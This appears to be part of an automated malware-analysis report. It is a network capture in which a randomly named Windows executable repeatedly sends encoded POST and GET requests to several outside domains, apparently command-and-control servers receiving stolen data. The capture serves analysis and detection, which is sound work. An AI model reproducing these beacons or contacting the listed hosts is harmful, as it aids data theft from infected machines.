25	192.168.2.6	50015	3.33.130.190	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:39:18.561003923 CET	819	OUT	POST /cvmn/ HTTP/1.1 Host: www.cbprecise.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.cbprecise.online Referer: http://www.cbprecise.online/cvmn/ Content-Length: 212 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 70 52 65 76 57 6f 75 34 46 6a 71 6d 4c 49 79 41 44 57 79 43 58 6f 75 2f 36 31 52 72 65 35 63 2b 6d 2b 2f 6d 62 63 4e 66 2f 58 32 47 41 64 75 72 75 4c 4f 56 69 71 55 70 44 30 34 49 55 51 75 52 4d 38 70 76 56 6b 62 38 69 34 6a 48 59 47 76 76 2f 58 71 64 38 63 57 37 55 64 51 71 52 67 76 34 4e 4b 2b 4d 51 30 4f 67 62 68 45 5a 47 2b 52 71 65 41 74 65 34 5a 53 78 30 67 58 55 77 36 72 4f 67 4b 44 68 39 30 6f 35 55 2f 71 70 53 78 79 36 62 36 6b 57 6b 76 75 70 4e 70 44 49 71 59 51 50 58 36 41 33 43 61 4e 57 6b 39 41 78 6f 70 43 38 6c 32 6d 4c 66 59 34 4a 67 6d 46 2b 30 2f 7a 57 4d 73 74 74 46 37 64 54 45 55 61 36 Data Ascii: aNXP_jw=pRevWou4FjqmLIyADWyCXou/61Rre5c+m+/mbcNf/X2GAduruLOViqUpD04IUQuRM8pvVkb8i4jHYGvv/Xqd8cW7UdQqRgv4NK+MQ0OgbhEZG+RqeAte4ZSx0gXUw6rOgKDh90o5U/qpSxy6b6kWkvupNpDIqYQPX6A3CaNWk9AxopC8l2mLfY4JgmF+0/zWMsttF7dTEUa6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	50017	3.33.130.190	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:39:21.231775045 CET	843	OUT	POST /cvmn/ HTTP/1.1 Host: www.cbprecise.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.cbprecise.online Referer: http://www.cbprecise.online/cvmn/ Content-Length: 236 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 70 52 65 76 57 6f 75 34 46 6a 71 6d 49 6f 69 41 43 78 6d 43 52 49 75 2b 2b 46 52 72 55 5a 63 36 6d 2b 7a 6d 62 5a 31 50 2b 6c 53 47 42 2f 32 72 76 4f 69 56 6a 71 55 70 57 45 34 48 62 77 75 4f 4d 38 6c 4e 56 6b 58 38 69 34 6e 48 59 48 66 76 2f 6b 79 61 75 38 57 39 62 39 51 73 4f 77 76 34 4e 4b 2b 4d 51 30 71 5a 62 68 63 5a 47 50 68 71 4d 78 74 66 37 5a 53 32 2b 41 58 55 37 61 72 4b 67 4b 43 32 39 31 30 66 55 38 65 70 53 7a 61 36 56 50 51 56 39 66 75 76 4a 70 43 6e 73 61 64 77 5a 62 78 64 46 35 77 77 36 61 49 4a 67 2f 66 6d 35 46 6d 6f 4e 49 59 4c 67 6b 64 4d 30 66 7a 38 4f 73 56 74 58 73 52 30 4c 67 2f 5a 31 69 6a 67 48 53 37 79 66 53 75 49 47 62 63 75 69 2b 78 35 34 67 3d 3d Data Ascii: aNXP_jw=pRevWou4FjqmIoiACxmCRIu++FRrUZc6m+zmbZ1P+lSGB/2rvOiVjqUpWE4HbwuOM8lNVkX8i4nHYHfv/kyau8W9b9QsOwv4NK+MQ0qZbhcZGPhqMxtf7ZS2+AXU7arKgKC2910fU8epSza6VPQV9fuvJpCnsadwZbxdF5ww6aIJg/fm5FmoNIYLgkdM0fz8OsVtXsR0Lg/Z1ijgHS7yfSuIGbcui+x54g==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	50018	3.33.130.190	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:39:23.902400970 CET	1856	OUT	POST /cvmn/ HTTP/1.1 Host: www.cbprecise.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.cbprecise.online Referer: http://www.cbprecise.online/cvmn/ Content-Length: 1248 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 70 52 65 76 57 6f 75 34 46 6a 71 6d 49 6f 69 41 43 78 6d 43 52 49 75 2b 2b 46 52 72 55 5a 63 36 6d 2b 7a 6d 62 5a 31 50 2b 6c 61 47 42 4b 69 72 76 74 36 56 67 71 55 70 58 45 34 54 62 77 76 55 4d 2f 56 4a 56 6b 71 42 69 37 50 48 58 46 6e 76 35 56 79 61 6b 38 57 39 51 64 51 74 52 67 76 49 4e 4b 76 48 51 30 36 5a 62 68 63 5a 47 4e 35 71 50 67 74 66 39 5a 53 78 30 67 58 6d 77 36 72 79 67 4b 4b 6d 39 31 77 50 55 4b 75 70 53 54 71 36 59 5a 38 56 69 76 75 74 46 4a 43 2f 73 61 52 52 5a 62 74 47 46 34 46 62 36 64 34 4a 77 71 43 4a 38 32 4f 6b 59 71 59 6b 78 33 39 63 73 61 4f 4d 49 71 4e 65 52 74 4e 43 42 78 50 37 32 79 37 55 48 79 62 77 63 45 4b 65 47 66 4e 4b 75 63 67 4a 69 68 6e 47 46 44 74 6b 56 53 5a 70 31 33 7a 68 36 4e 2f 39 74 64 6d 6b 43 37 77 34 54 33 73 68 6c 4e 44 49 4c 67 4f 6e 2f 45 56 5a 74 74 34 71 63 7a 71 42 76 61 6b 74 41 56 30 32 6a 6a 78 6a 52 6f 30 77 4d 41 54 4f 69 4c 33 6b 77 38 56 64 57 34 39 31 7a 68 72 65 46 4c 37 4b 69 47 71 46 64 5a 4c 54 78 68 2f 52 66 50 [TRUNCATED] Data Ascii: aNXP_jw=pRevWou4FjqmIoiACxmCRIu++FRrUZc6m+zmbZ1P+laGBKirvt6VgqUpXE4TbwvUM/VJVkqBi7PHXFnv5Vyak8W9QdQtRgvINKvHQ06ZbhcZGN5qPgtf9ZSx0gXmw6rygKKm91wPUKupSTq6YZ8VivutFJC/saRRZbtGF4Fb6d4JwqCJ82OkYqYkx39csaOMIqNeRtNCBxP72y7UHybwcEKeGfNKucgJihnGFDtkVSZp13zh6N/9tdmkC7w4T3shlNDILgOn/EVZtt4qczqBvaktAV02jjxjRo0wMATOiL3kw8VdW491zhreFL7KiGqFdZLTxh/RfPZ3ruBxjV2IwlQfi/0tdYTW3vGGqj0iZEQYSpQUNwMh3tXOJVbsvcMYz5t63DyIEzWnkeFAD41r0xG2aSJBwSODjlu+jnV6QVDkKf0erDcfVNrZBGqSdnGPdY9kvBHtzwE6uzZFHZcnnQFzdkVWK6jiTI/SXRbGFFWXCEYcreYOEnDgthKhq8tpnx4FavAVdu1RXaURwzttRUMs/kHZv6JOU+YZj7HHRDjD8sdLQOHytx/2qzkgFuaeesYa7BbnBrDX+igTXolT3wgp2R+1OoIL32D8gOf9B1f2NwWFWsYJjr8DXu8Ob8bnWlmpVqm0D+XeLo8Jmis5TdExNUDh/LcbNRlsreQnfbu0nT5i8uEBYg5hwtTzIreqHGlhC+JoA2tG8/XLarkLBqtotlXtXTONA+dCCcy5tABlLHv4+oRVCL+Tau9DsrnYv4nqcacXknGqO86Pwd4eSMj+UtscaPBF3yc4CpYmod9DF98O8P2r2ZiBeTrojppCH2MzAFz0Meu2XJVta+ipnVwNCq687gdxjVsN6OuSmPWwsXvsEMW2OZnPb3YjHwpQE3jVzKrX5lmZEyh96Yu3PJSxZ+JEzz46uhVuDibdULvNXu2JMyc4EvInmB5CcOmzQEwphbZDfbMaKL6KLQftgQcHWx0zxXUPy4kIhrHbMkfj [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	50019	3.33.130.190	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:39:26.573471069 CET	553	OUT	GET /cvmn/?cTT8u=Q4NHoHJ0&aNXP_jw=kT2PVcuYPhCIcYe2L3yhSZm/01N2YaEp7Mi6RbxY9XuRZq3jntXnn9h0Tz9dUD6RU59Ud1zluKO0dVzp+S+roKiKfYRZRlDdOZb7PAuefTsxfeJpJgY665Liw0ad36KrhrX4mzY= HTTP/1.1 Host: www.cbprecise.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)
Dec 2, 2024 14:39:27.662194014 CET	414	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 02 Dec 2024 13:39:27 GMT Content-Type: text/html Content-Length: 274 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 63 54 54 38 75 3d 51 34 4e 48 6f 48 4a 30 26 61 4e 58 50 5f 6a 77 3d 6b 54 32 50 56 63 75 59 50 68 43 49 63 59 65 32 4c 33 79 68 53 5a 6d 2f 30 31 4e 32 59 61 45 70 37 4d 69 36 52 62 78 59 39 58 75 52 5a 71 33 6a 6e 74 58 6e 6e 39 68 30 54 7a 39 64 55 44 36 52 55 35 39 55 64 31 7a 6c 75 4b 4f 30 64 56 7a 70 2b 53 2b 72 6f 4b 69 4b 66 59 52 5a 52 6c 44 64 4f 5a 62 37 50 41 75 65 66 54 73 78 66 65 4a 70 4a 67 59 36 36 35 4c 69 77 30 61 64 33 36 4b 72 68 72 58 34 6d 7a 59 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?cTT8u=Q4NHoHJ0&aNXP_jw=kT2PVcuYPhCIcYe2L3yhSZm/01N2YaEp7Mi6RbxY9XuRZq3jntXnn9h0Tz9dUD6RU59Ud1zluKO0dVzp+S+roKiKfYRZRlDdOZb7PAuefTsxfeJpJgY665Liw0ad36KrhrX4mzY="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	50020	47.238.157.253	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:39:34.032985926 CET	804	OUT	POST /tjfd/ HTTP/1.1 Host: www.yun08ps.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.yun08ps.top Referer: http://www.yun08ps.top/tjfd/ Content-Length: 212 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 73 57 64 63 61 50 66 7a 65 76 2f 74 69 7a 34 46 55 2f 42 7a 35 63 77 30 54 33 38 37 33 65 67 31 2b 63 39 6e 2f 70 2b 52 32 6d 57 48 65 61 53 61 64 6e 39 45 50 62 32 4c 65 59 63 38 58 2f 65 6f 4b 78 6b 49 4a 36 78 2f 64 4e 37 41 53 53 51 6f 53 67 31 6c 6f 33 67 65 69 45 4a 55 7a 4d 4b 57 6e 45 44 5a 61 61 79 68 70 56 4b 67 6b 54 4c 65 37 56 66 6e 48 74 35 49 67 6f 49 39 4d 53 65 7a 77 71 79 53 63 77 66 2f 56 62 66 49 6c 7a 6f 64 6e 74 67 62 58 34 79 57 6a 4b 2f 5a 4f 54 31 6b 70 4e 43 49 47 35 32 78 43 61 42 41 36 36 6a 64 79 38 69 43 37 71 47 4d 74 73 50 31 56 47 41 4c 66 63 48 48 79 47 74 6b 53 59 77 39 Data Ascii: aNXP_jw=sWdcaPfzev/tiz4FU/Bz5cw0T3873eg1+c9n/p+R2mWHeaSadn9EPb2LeYc8X/eoKxkIJ6x/dN7ASSQoSg1lo3geiEJUzMKWnEDZaayhpVKgkTLe7VfnHt5IgoI9MSezwqyScwf/VbfIlzodntgbX4yWjK/ZOT1kpNCIG52xCaBA66jdy8iC7qGMtsP1VGALfcHHyGtkSYw9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	50021	47.238.157.253	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:39:36.699934006 CET	828	OUT	POST /tjfd/ HTTP/1.1 Host: www.yun08ps.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.yun08ps.top Referer: http://www.yun08ps.top/tjfd/ Content-Length: 236 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 73 57 64 63 61 50 66 7a 65 76 2f 74 74 77 67 46 57 59 39 7a 2b 38 77 33 50 48 38 37 68 75 67 35 2b 63 35 6e 2f 6f 71 42 33 51 6d 48 66 36 43 61 48 6c 5a 45 4f 62 32 4c 55 34 64 30 4b 50 65 5a 4b 78 34 66 4a 37 64 2f 64 4e 48 41 53 57 63 6f 52 52 31 6d 75 6e 67 63 33 55 4a 53 75 38 4b 57 6e 45 44 5a 61 61 32 62 70 56 79 67 6c 6a 37 65 30 55 66 67 4e 4e 35 4a 77 34 49 39 62 43 66 36 77 71 7a 78 63 31 2f 56 56 59 33 49 6c 33 73 64 6e 34 63 59 41 49 79 51 74 71 2f 4d 48 67 77 2b 6f 75 72 4e 5a 62 69 57 5a 6f 4e 54 32 73 2b 48 75 50 69 68 70 36 6d 4f 74 75 58 48 56 6d 41 68 64 63 2f 48 67 52 68 44 64 73 56 65 68 6b 61 61 46 2b 57 55 44 57 6b 70 67 68 75 37 36 75 59 4e 41 51 3d 3d Data Ascii: aNXP_jw=sWdcaPfzev/ttwgFWY9z+8w3PH87hug5+c5n/oqB3QmHf6CaHlZEOb2LU4d0KPeZKx4fJ7d/dNHASWcoRR1mungc3UJSu8KWnEDZaa2bpVyglj7e0UfgNN5Jw4I9bCf6wqzxc1/VVY3Il3sdn4cYAIyQtq/MHgw+ourNZbiWZoNT2s+HuPihp6mOtuXHVmAhdc/HgRhDdsVehkaaF+WUDWkpghu76uYNAQ==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	50022	47.238.157.253	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:39:39.370096922 CET	1841	OUT	POST /tjfd/ HTTP/1.1 Host: www.yun08ps.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.yun08ps.top Referer: http://www.yun08ps.top/tjfd/ Content-Length: 1248 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 73 57 64 63 61 50 66 7a 65 76 2f 74 74 77 67 46 57 59 39 7a 2b 38 77 33 50 48 38 37 68 75 67 35 2b 63 35 6e 2f 6f 71 42 33 54 47 48 65 4a 61 61 64 46 6c 45 4e 62 32 4c 53 49 64 33 4b 50 65 2b 4b 78 78 33 4a 37 42 4a 64 49 4c 41 54 7a 41 6f 61 44 64 6d 67 6e 67 63 76 6b 4a 58 7a 4d 4b 44 6e 46 79 65 61 61 6d 62 70 56 79 67 6c 68 54 65 39 6c 66 67 65 64 35 49 67 6f 49 68 4d 53 66 57 77 70 43 4b 63 31 7a 76 4a 35 58 49 6b 58 38 64 67 4f 49 59 43 6f 79 53 67 4b 2b 4a 48 6e 35 67 6f 76 48 72 5a 61 6d 6f 5a 6f 35 54 30 4c 62 71 37 2f 36 68 34 72 6d 4e 2b 70 58 45 55 79 41 57 46 65 50 36 76 48 39 4b 62 65 42 65 6f 68 33 41 52 35 2f 74 4c 57 63 32 76 33 7a 43 76 4d 78 4b 62 66 6c 45 44 50 66 78 72 75 49 2b 58 4f 50 78 59 39 4d 71 50 50 47 6d 79 67 39 59 4b 4d 4e 46 67 79 6f 56 39 33 78 4b 2b 43 4c 74 41 6c 2f 65 34 4d 4e 63 32 46 64 52 2b 56 36 62 75 73 53 38 2b 32 74 71 31 49 44 36 73 59 4e 63 36 74 57 44 42 54 4b 71 52 72 7a 78 39 50 4e 58 56 32 74 70 39 70 55 6c 45 34 77 72 66 4d [TRUNCATED] Data Ascii: aNXP_jw=sWdcaPfzev/ttwgFWY9z+8w3PH87hug5+c5n/oqB3TGHeJaadFlENb2LSId3KPe+Kxx3J7BJdILATzAoaDdmgngcvkJXzMKDnFyeaambpVyglhTe9lfged5IgoIhMSfWwpCKc1zvJ5XIkX8dgOIYCoySgK+JHn5govHrZamoZo5T0Lbq7/6h4rmN+pXEUyAWFeP6vH9KbeBeoh3AR5/tLWc2v3zCvMxKbflEDPfxruI+XOPxY9MqPPGmyg9YKMNFgyoV93xK+CLtAl/e4MNc2FdR+V6busS8+2tq1ID6sYNc6tWDBTKqRrzx9PNXV2tp9pUlE4wrfMumnKtPCXQ+ENkofAf3ZyQ3uBAo/vTeeiD0MsvNkazX+hx6OBDB6eFqRDgU0nrzTJ64Gq9NYNY578c9ycez4zKa3JwZDVZRR0CF2eMEDovhyg8E5ccrzTltk1LYaEdTxlE1sUn7AU+9pPCQaUDdxP5VtFOPq8Z4bXR+e/jVphTYxGr45VC/umhIlpVzUHS/pAyQbIOP5xV2g6mzEsFUKQgW8qfjS0EghF4+q8P3SpKcHrRQO0nNiYVmtY7kKNIZfMfAlHLgyBcBojAPLvo6B/S9XLARpXy63hHwQDmguvTJ09wLyHwPJ66gE7fPExY/7IWUMhxHgtPYEaZ1ddVV3d2BDLBOPd7JXW0olJJbEGcAdgc5rFZ5bko4EhxdRIvaCGa2UejMXFsg+JCxAsZLGTV8RBQnsporRstINEb9M4UuRhCB4LzHmv3Z7+L+/53QfiEBVEG5lUkjIryyAS9gWI9ljwguh7lnTsPkwA9FIPlzjtLnTod8M8s2ubvOHweqpwUqrh3vSo09fn5lXXrhmG4ZLyYUmxtdpkYMDHKB8VyY8zrIhAL66r4Jv04yY9VvgFoDYguucMyeZAvRY0HhoSYc87Hpx1lREq/sgi2AbzqK2tneJth1Az63tZbqApS7RmYH8Mm6/7HAxQ0TNsdXJnw3MoD5lwmuATpg [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	50023	47.238.157.253	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:39:42.045149088 CET	548	OUT	GET /tjfd/?aNXP_jw=hU18Z//aae7PuBg9apJb96loanMP5/1Vub46+YuE1RepJ+epEltxKOfVY+omXPiOW2IODI1uSb7TTTd0R0t6khQdikIhy+mltUDrCuC1oSKa8QDC2XrbIZdN6oN7Umup+JrtMVA=&cTT8u=Q4NHoHJ0 HTTP/1.1 Host: www.yun08ps.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	50025	67.223.117.169	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:40:09.588248014 CET	819	OUT	POST /mbcs/ HTTP/1.1 Host: www.rtpsilva4d.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.rtpsilva4d.click Referer: http://www.rtpsilva4d.click/mbcs/ Content-Length: 212 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 4a 2b 47 71 6b 78 5a 47 78 6b 43 56 73 6e 56 6d 36 33 64 4a 55 39 43 41 72 79 46 75 64 43 63 47 72 57 65 36 39 68 65 56 69 63 64 75 2f 6d 6d 37 55 46 71 63 47 2f 2b 55 70 38 2b 55 45 38 4c 2b 79 66 73 52 79 35 65 6b 6c 6a 6c 70 49 65 30 76 63 77 73 69 73 68 2b 6b 6a 58 61 6c 31 6f 46 46 42 6d 45 4b 42 63 6a 4e 47 66 47 51 46 50 4d 44 53 45 56 33 4f 2b 4c 42 4b 6a 5a 67 31 47 74 48 6b 2b 62 70 64 2b 30 61 77 7a 56 59 39 6a 73 36 73 46 6b 75 57 38 45 59 6d 35 34 59 47 76 6c 31 53 61 71 55 79 56 52 41 6e 36 49 64 44 4d 67 6f 73 4f 57 65 77 4c 77 36 6e 55 6a 55 63 34 30 74 2b 41 69 41 65 2f 2f 57 74 33 36 48 Data Ascii: aNXP_jw=J+GqkxZGxkCVsnVm63dJU9CAryFudCcGrWe69heVicdu/mm7UFqcG/+Up8+UE8L+yfsRy5ekljlpIe0vcwsish+kjXal1oFFBmEKBcjNGfGQFPMDSEV3O+LBKjZg1GtHk+bpd+0awzVY9js6sFkuW8EYm54YGvl1SaqUyVRAn6IdDMgosOWewLw6nUjUc40t+AiAe//Wt36H
Dec 2, 2024 14:40:10.781769037 CET	479	IN	HTTP/1.1 404 Not Found Date: Mon, 02 Dec 2024 13:40:10 GMT Server: Apache Content-Length: 315 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	50026	67.223.117.169	80	2488	C:\Program Files (x86)\YZdbVpHrzDdbUaBfnvsINfTzKzGQOMiAjZaAhLHBOnPRvoWKTcNENgdobPWXGrC\LfvKCNKdvt.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 14:40:12.262773037 CET	843	OUT	POST /mbcs/ HTTP/1.1 Host: www.rtpsilva4d.click Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.rtpsilva4d.click Referer: http://www.rtpsilva4d.click/mbcs/ Content-Length: 236 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/8.0; Touch; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; Tablet PC 2.0; MALNJS) Data Raw: 61 4e 58 50 5f 6a 77 3d 4a 2b 47 71 6b 78 5a 47 78 6b 43 56 75 48 6c 6d 71 6b 31 4a 56 64 43 44 33 69 46 75 58 69 64 50 72 57 53 36 39 6b 37 49 69 70 31 75 2b 47 32 37 56 45 71 63 46 2f 2b 55 68 63 2b 52 41 38 4c 31 79 66 51 6a 79 34 69 6b 6c 6a 68 70 49 61 77 76 63 68 73 68 74 78 2b 63 36 48 61 6e 78 6f 46 46 42 6d 45 4b 42 63 33 6e 47 66 65 51 5a 75 38 44 55 68 68 32 41 65 4c 4f 43 44 5a 67 6a 32 74 4c 6b 2b 62 50 64 2f 6f 77 77 78 74 59 39 6e 38 36 74 52 34 74 44 73 45 6b 6f 5a 35 66 46 75 51 35 54 61 2f 41 74 46 5a 4e 37 34 4a 36 47 36 39 79 77 39 57 39 69 62 51 34 6e 57 37 6d 63 59 30 48 38 41 61 41 4d 6f 7a 78 69 44 66 6b 37 42 31 6e 56 56 7a 49 72 58 4f 74 61 36 48 68 53 72 4d 79 65 41 3d 3d Data Ascii: 